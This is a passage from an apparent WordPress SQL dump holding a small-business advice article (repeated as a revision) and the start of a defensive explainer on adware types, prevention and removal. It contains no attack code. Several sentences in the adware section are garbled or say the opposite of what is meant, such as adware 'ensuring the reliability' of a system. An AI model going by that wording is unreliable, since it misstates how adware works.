might be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, research is essential before you launch your business idea. If you want to create a product or service that people are willing to pay for, it has to be unique, useful, and high-quality. That kind of idea may take some time to polish before it\'s ready for purchase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Offering value to your target audience.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Customer value could come from your excellent business idea. But an idea isn\'t enough to build a business. Honestly, it\'s easy to come up with a great idea. What\'s difficult is executing an idea so that it does what it\'s meant to do, and does it well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And no great product is ever finished. Many products will need constant updates from customer reviews and internal feedback to continue to offer value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if your product or service is perfect, providing value doesn\'t end there. The foundation of any successful business is trust. To develop that trust, you want to make sure your business goes above and beyond target audience expectations. But what does that mean?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, it\'s making sure that your product does exactly what you say it does. Don\'t over-promise or sell functionality your product doesn\'t have. Next, it\'s about value throughout the customer experience, from support to instructions to your return policy. Value isn\'t just the cost of making your product or what you ask in exchange for it. It\'s customer perception, and how you meet those expectations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, PopFlex doesn’t just offer inclusive athleisure wear, it runs a female fitness channel called Blogilates with journals, resources, and accessories to support its customers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Being flexible and quick to adapt.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Change is the only constant, and for your business to prosper, you\'ll need to shift with the times. Whether you have to follow fashion trends or shift with regular tech updates, the ability to flex is essential.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And flexibility isn\'t just useful when you\'re adjusting your products or marketing. Employee expectations and needs will change. Customer communications will swing. It might feel more comfortable for you to stick with what you\'re used to and ask other people to change instead. But that approach could limit your ability to succeed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adapting to change isn\'t always easy. But greeting change with a positive and open attitude can improve productivity, loyalty, and engagement. It can also help your business act on new ideas early and give you a competitive advantage by doing so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Flexibility and adaptability are soft skills, and if they don\'t come naturally to you, you may need to go out of your way to practice them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One way to stretch your flexibility is to travel somewhere new. The experience of adjusting to a different language and culture can make it easier to flex at home. Other ways to build your comfort with change include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Making constant learning a priority</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keeping up with news and trends in your industry</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Expanding your network</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Bold decision-making and creative problem-solving.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Starting any business is a risk. But it\'s rarely the only bold action you\'ll take. More often than not, running a successful business means big decisions and creative experiments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dynamic thinking sounds wild and dicey when you\'re talking about a company that supports you, your family, and your team. But it\'s that creativity that creates a stable foundation for your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because being creative is about finding where typical thinking has failed. It\'s a chance to develop new ways of solving problems. Bold decisions don\'t require any less planning or preparation than traditional ideas. They just take more faith, because there is usually little to no proof that these ideas will work. They might take more trial and error. But when a creative solution works, it really works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you don\'t think of yourself as bold or creative, this aspect of business success may feel a bit daunting. But there are a few ways that anyone can use the creative process to improve their business decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Begin with research, and try to quickly take in as much information as you can before you take action. Then, sit with the information for a little while. Consider the possible positive and negative impacts and don\'t let the urgency of a deadline or external pressure rush a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Creative decision-making is rarely a linear process. These tools can help when you\'re feeling stuck:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Critical thinking course</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Decision trees</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Decision making</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Paying attention.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Running a business takes a lot of skill, effort, and time. When your batteries are running low, it\'s tough to give your focus to the people and processes that need \"extra\" attention. But paying attention is what will help your business survive and thrive. It can give you vital insights you can use to grow your business over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you want to pay attention to your customers\' changing needs. People are talking about you and your brand whether you ask them to or not. Are you listening and considering what they\'re saying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your team might use traditional methods like calling or emailing your customers. You may also use the process of social listening or conduct feedback surveys, such as net promoter score (NPS), to gather data on customer sentiment. Make a habit of listening to the market and your customers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a powerful example of a CEO who listened to feedback and applied it to grow his business. \"As the founder of an indie startup, I\'ve come to embrace a few core values,\" says Eugene Woo, CEO of Venngage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"This includes realizing our mission over a long period of time instead of a quick exit, creating value for our customers by helping them solve real problems, being responsible for our own financial sustainability, scaling at our own pace, and doing the right thing over \'it\'s just business.\' This philosophy has guided every aspect of my decision-making process as I\'ve made Venngage into an independent, growing, and profitable business over the past four years.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Getting out of the office.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>\"Entrepreneurs are the only people who will work 80 hours a week to avoid working 40 hours a week.\" - Lori Greiner</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running a business can take over your life. But if you don\'t take a break, you make it tough for your business to prosper. Stepping away from your office, store, or computer is essential to your continuing success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make time for social activities. Attend events, do some networking, or start a hobby that gets you out into the world. This can improve your energy levels and also help you expand your support system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s also a good idea to take extra care of yourself. Try to get in some physical activity, travel, and take short breaks throughout the day to give yourself a rest or change of perspective. There\'s a reason why airlines instruct us to place our oxygen masks on before helping others: if we don\'t take care of ourselves, we can\'t take care of someone else.<a></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Likewise, if you don\'t have personal goals and plans for your overall health and well-being, you won\'t be as effective in running your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://blog.hubspot.com/sales/how-to-run-a-business\">ere.</a></p>\n<!-- /wp:paragraph -->','Pro Tips for Running a Successful Business','','publish','closed','closed','','pro-tips-for-running-a-successful-business','','','2024-02-27 16:19:46','2024-02-27 16:19:46','',0,'https://smartinsurance.tips/?p=3840',0,'post','',0),(3841,1,'2024-02-27 16:15:36','2024-02-27 16:15:36','','Untitled-19','','inherit','closed','closed','','untitled-19-3','','','2024-02-27 16:15:36','2024-02-27 16:15:36','',3840,'http://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-19.png',0,'attachment','image/png',0),(3842,1,'2024-02-27 16:19:46','2024-02-27 16:19:46','<!-- wp:paragraph -->\n<p>Just about anyone can start a business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3841,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-19-1024x1024.png\" alt=\"\" class=\"wp-image-3841\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>Once you fill out a few forms, get the permits or licenses you need, offer a great product or service, and advertise it, it’s safe to say you’re a business owner.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running a successful business is an entirely different story. Several factors affect the success of a business. In this article, we’ll share the latest data that you need to know before opening a small business. We\'ll talk about the factors that impact business success, and a few pro tips on how to run and maintain a thriving business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What does business success look like?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>One of the challenges of running a thriving business is that there are many ways to measure success. Each business owner must create their own unique definition, and stick to it.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For many, success means profit. While short-term gains are exciting, long-term wealth and growth are common goals. This may also extend to personal wealth and collecting expensive items like homes or cars. Others assess their value through their ability to solve problems for their customers. And some business owners focus their success on progress toward a dream or mission.<a></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Revenue, gross profit, and cash flow management impact the present and future of every company. But to create sustained value, businesses need to make their own definitions of success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The world is changing quickly, and so the strategies and habits that worked in the past don\'t guarantee success today. You may be starting a business for the first time or working to pivot your company in a new direction. Either way, running a business today means staying open and taking in an ever-expanding flood of information.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The following steps will help you pay attention to the factors that matter most to business success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">1. Focus on the customer experience.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Customers and prospects have more access to information than ever before. According to HubSpot Research, 79% of customer service teams feel customers are more informed than they were in the past. And almost 90% of surveyed leaders say their expectations are higher than ever before.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In many situations, the way you treat your customers has more of an impact than your pricing or products.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Customer experience is the impression you give your customer. It tells them what your values are and how much you care about them. And this impacts their perception of your brand across each stage and touchpoint of the customer journey.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This means that businesses need to focus on every step of the buyer journey. You need to identify the problems on that path and offer new opportunities to create a great customer experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are just a few ways you can build a customer focus:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Make customer experience a priority by gathering insights from everyone on your team</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Take steps to reduce friction and focus energy on what\'s most important to your customers</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Look at your product experience from their point of view</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Solve problems before they impact your audience</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Invest in training and supporting your customer service team</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>Customers want and expect a great experience from beginning to end, and they’re willing to pay a premium for it. Are you ready to provide that experience? Are you over-delivering on your CX? To run a successful business, you should be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">2. A powerful business idea.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>The oldest companies in the world have been around for as long as 1,400 years. But many companies struggle to last. In 2021 alone, over 14,000 businesses in the United States filed for bankruptcy.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Every business is born from an idea. Some ideas are riskier than others. Some ideas seem like a good plan at the time, but fizzle out over time. There are a few approaches you can take to find an idea that can make your business a success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, start with what you know. If you\'ve ever had a hobby or job you\'re passionate about, you know that every niche is more complex than it seems. As you learn more, you get a clearer picture of the joys and challenges below the surface.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, video games are more popular than ever. But a gamer playing Stardew Valley isn\'t the same audience as someone who\'s into Half-Life. Their different approaches to gaming mean that you\'ll need to get more specific. This will help you find the problems you want to solve with your video game business idea.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Next, you\'ll want to talk to your community. Whether it\'s family and friends or an online group, it\'s smart to test out the value of your ideas with a group of people. This step can help you refine your idea and figure out what the common objections might be.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Finally, research is essential before you launch your business idea. If you want to create a product or service that people are willing to pay for, it has to be unique, useful, and high-quality. That kind of idea may take some time to polish before it\'s ready for purchase.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">3. Offering value to your target audience.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Customer value could come from your excellent business idea. But an idea isn\'t enough to build a business. Honestly, it\'s easy to come up with a great idea. What\'s difficult is executing an idea so that it does what it\'s meant to do, and does it well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And no great product is ever finished. Many products will need constant updates from customer reviews and internal feedback to continue to offer value.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Even if your product or service is perfect, providing value doesn\'t end there. The foundation of any successful business is trust. To develop that trust, you want to make sure your business goes above and beyond target audience expectations. But what does that mean?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>First, it\'s making sure that your product does exactly what you say it does. Don\'t over-promise or sell functionality your product doesn\'t have. Next, it\'s about value throughout the customer experience, from support to instructions to your return policy. Value isn\'t just the cost of making your product or what you ask in exchange for it. It\'s customer perception, and how you meet those expectations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, PopFlex doesn’t just offer inclusive athleisure wear, it runs a female fitness channel called Blogilates with journals, resources, and accessories to support its customers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">4. Being flexible and quick to adapt.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Change is the only constant, and for your business to prosper, you\'ll need to shift with the times. Whether you have to follow fashion trends or shift with regular tech updates, the ability to flex is essential.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>And flexibility isn\'t just useful when you\'re adjusting your products or marketing. Employee expectations and needs will change. Customer communications will swing. It might feel more comfortable for you to stick with what you\'re used to and ask other people to change instead. But that approach could limit your ability to succeed.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adapting to change isn\'t always easy. But greeting change with a positive and open attitude can improve productivity, loyalty, and engagement. It can also help your business act on new ideas early and give you a competitive advantage by doing so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Flexibility and adaptability are soft skills, and if they don\'t come naturally to you, you may need to go out of your way to practice them.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>One way to stretch your flexibility is to travel somewhere new. The experience of adjusting to a different language and culture can make it easier to flex at home. Other ways to build your comfort with change include:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Making constant learning a priority</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Keeping up with news and trends in your industry</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Expanding your network</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">5. Bold decision-making and creative problem-solving.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Starting any business is a risk. But it\'s rarely the only bold action you\'ll take. More often than not, running a successful business means big decisions and creative experiments.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Dynamic thinking sounds wild and dicey when you\'re talking about a company that supports you, your family, and your team. But it\'s that creativity that creates a stable foundation for your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Because being creative is about finding where typical thinking has failed. It\'s a chance to develop new ways of solving problems. Bold decisions don\'t require any less planning or preparation than traditional ideas. They just take more faith, because there is usually little to no proof that these ideas will work. They might take more trial and error. But when a creative solution works, it really works.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you don\'t think of yourself as bold or creative, this aspect of business success may feel a bit daunting. But there are a few ways that anyone can use the creative process to improve their business decisions.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Begin with research, and try to quickly take in as much information as you can before you take action. Then, sit with the information for a little while. Consider the possible positive and negative impacts and don\'t let the urgency of a deadline or external pressure rush a decision.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Creative decision-making is rarely a linear process. These tools can help when you\'re feeling stuck:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li>Critical thinking course</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Decision trees</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li>Decision making</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">6. Paying attention.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Running a business takes a lot of skill, effort, and time. When your batteries are running low, it\'s tough to give your focus to the people and processes that need \"extra\" attention. But paying attention is what will help your business survive and thrive. It can give you vital insights you can use to grow your business over time.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For example, you want to pay attention to your customers\' changing needs. People are talking about you and your brand whether you ask them to or not. Are you listening and considering what they\'re saying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Your team might use traditional methods like calling or emailing your customers. You may also use the process of social listening or conduct feedback surveys, such as net promoter score (NPS), to gather data on customer sentiment. Make a habit of listening to the market and your customers.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s a powerful example of a CEO who listened to feedback and applied it to grow his business. \"As the founder of an indie startup, I\'ve come to embrace a few core values,\" says Eugene Woo, CEO of Venngage.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>\"This includes realizing our mission over a long period of time instead of a quick exit, creating value for our customers by helping them solve real problems, being responsible for our own financial sustainability, scaling at our own pace, and doing the right thing over \'it\'s just business.\' This philosophy has guided every aspect of my decision-making process as I\'ve made Venngage into an independent, growing, and profitable business over the past four years.\"</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">7. Getting out of the office.</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>\"Entrepreneurs are the only people who will work 80 hours a week to avoid working 40 hours a week.\" - Lori Greiner</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Running a business can take over your life. But if you don\'t take a break, you make it tough for your business to prosper. Stepping away from your office, store, or computer is essential to your continuing success.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Make time for social activities. Attend events, do some networking, or start a hobby that gets you out into the world. This can improve your energy levels and also help you expand your support system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It\'s also a good idea to take extra care of yourself. Try to get in some physical activity, travel, and take short breaks throughout the day to give yourself a rest or change of perspective. There\'s a reason why airlines instruct us to place our oxygen masks on before helping others: if we don\'t take care of ourselves, we can\'t take care of someone else.<a></a></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Likewise, if you don\'t have personal goals and plans for your overall health and well-being, you won\'t be as effective in running your business.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>To read the full article, <a href=\"https://www.investopedia.com/articles/retirement/11/5-steps-to-retirement-plan.asp\">click h</a><a href=\"https://blog.hubspot.com/sales/how-to-run-a-business\">ere.</a></p>\n<!-- /wp:paragraph -->','Pro Tips for Running a Successful Business','','inherit','closed','closed','','3840-revision-v1','','','2024-02-27 16:19:46','2024-02-27 16:19:46','',3840,'https://smartinsurance.tips/?p=3842',0,'revision','',0),(3843,1,'2024-02-27 16:29:06','2024-02-27 16:29:06','<!-- wp:gallery {\"linkTo\":\"none\"} -->\n<figure class=\"wp-block-gallery has-nested-images columns-default is-cropped\"><!-- wp:image {\"id\":3844,\"sizeSlug\":\"large\",\"linkDestination\":\"none\"} -->\n<figure class=\"wp-block-image size-large\"><img src=\"https://smartinsurance.tips/wp-content/uploads/2024/02/Untitled-3-1024x1024.png\" alt=\"\" class=\"wp-image-3844\"/></figure>\n<!-- /wp:image --></figure>\n<!-- /wp:gallery -->\n\n<!-- wp:paragraph -->\n<p>In the changeful landscape of cybersecurity, one term that has gained notoriety is “adware.” This unnecessary guest in the digital empire can compromise the security and safety of your online experience.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>In this complete article, we will explore the nuances of adware, exploring its definition, types, and implications for cybersecurity and safety, as well as effective prevention tips. We will explain the difficulties of adware removal and how you can protect your digital environment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">What is Adware?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It’s short for advertising-supported software and It is a type of software that presentations advertisements on a user’s device. Unlike malware, which aims to harm or exploit, adware primarily focuses on delivering unwanted advertisements. These advertisements can manifest in various forms, such as appearing in windows, banners, or even redirecting your browser to sponsored websites.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Types of Adware</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Getting the different types of adware is critical for understanding possible threats and implementing effective preventive measures. Adware can be categorized into several types and including.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Pop-up Adware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>It is adware that generates intrusive pop-up advertisements that appear on your screen and often obstruct your view or disrupt your online activities.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Browser Hijackers</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Browser hijackers alter your browser settings without your consent, redirecting your searches to predetermined websites and displaying additional ads.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Spyware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>When it comes to delivering customized adverts and some adware acts similarly to spyware by gathering data about your online activities and preferences.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Trojan Adware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Trojan adware disguises itself as legitimate software but carries malicious ad-serving components, deceiving users into installing it unknowingly.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Adware in Cyber Security</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Adware displays an Important threat to cybersecurity by exploiting sensitivity in software and potentially exposing users to more severe risks. Cybersecurity professionals feature the importance of staying alert against adware. It often serves as a gateway for more malicious attacks. Adware can ensure the reliability of your system, leading to data breaches, identity theft, and other cyber threats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">Adware Prevention Tips</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>To ready your defenses against adware and improve your overall cybersecurity posture, consider implementing the following preventive measures.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Use Reliable Antivirus Software</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Invest in reputable antivirus software that offers present protection against adware and other malware threats.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Keep Software Updated</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Continuously update your operating system, browsers, and security software to patch sensitivities that adware may exploit.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Exercise Caution with Downloads</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Be insightful when downloading software or files from the internet, and only use trusted sources to minimize the risk of adware entrance.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Enable Pop-Up Blockers</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Establish your browser settings to block pop-up ads and decrease the chances of happening pop-up adware.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Educate Yourself</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Stay informed about common adware techniques and be cautious when interacting with online advertisements to avoid falling victim to misleading practices.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How Does Adware Removal Work?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>In the event that adware manages to insert your system, prompt removal is necessary to mitigate potential risks. Adware removal typically involves the following steps.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Identify the Adware</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Operate antivirus or anti-adware tools to scan your system and find the specific adware impressive to your device.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Quarantine or Delete</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Once identified, Separate or delete the adware infected files to prevent further harm to your system.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Update Security Software</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Ensure that your antivirus software is up-to-date to improve and its effectiveness in detecting and preventing future adware attacks.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading {\"level\":3} -->\n<h3 class=\"wp-block-heading\">Reset Browser Settings</h3>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>If browser hijackers are involved, and reset your browser settings to prevent any unauthorized changes made by the adware.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2 class=\"wp-block-heading\">How do I protect myself from adware?</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p>Guarding oneself against the potential threats suggested by adware requires a combination of awareness and dynamic measures. Here’s a full Instruction on how to protect yourself from adware.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list -->\n<ul><!-- wp:list-item -->\n<li><strong>Download Wisely:</strong>&nbsp;Exercise caution when downloading software. Stick to reputable sources and official app stores to reduce the risk of inadvertently installing adware-laden applications.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Verify Software Sources:</strong>&nbsp;Before downloading any software, verify the legality of the source. Avoid downloading from unfamiliar websites, as these may be hotspots for adware distribution.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Update Regularly:</strong>&nbsp;Insure that your operating system, antivirus software, and another security applications are the latest. Regular updates help patch vulnerabilities and reinforce your defenses against evolving adware threats.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Install a Reliable Antivirus Program:</strong> Invest in a strong antivirus program that includes present protection against adware. Choose a reputable provider and keep the antivirus software active and regularly updated.</li>\n<!-- /wp:list-item -->\n\n<!-- wp:list-item -->\n<li><strong>Enable Automatic Updates:</strong>&nbsp;Allow automatic improvements for your operating system and security software. This ensures that you receive the latest patches and enhancements to counter emerging adware threats.</li>\n<!-- /wp:list-item --></ul>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p>By integrating these practices into 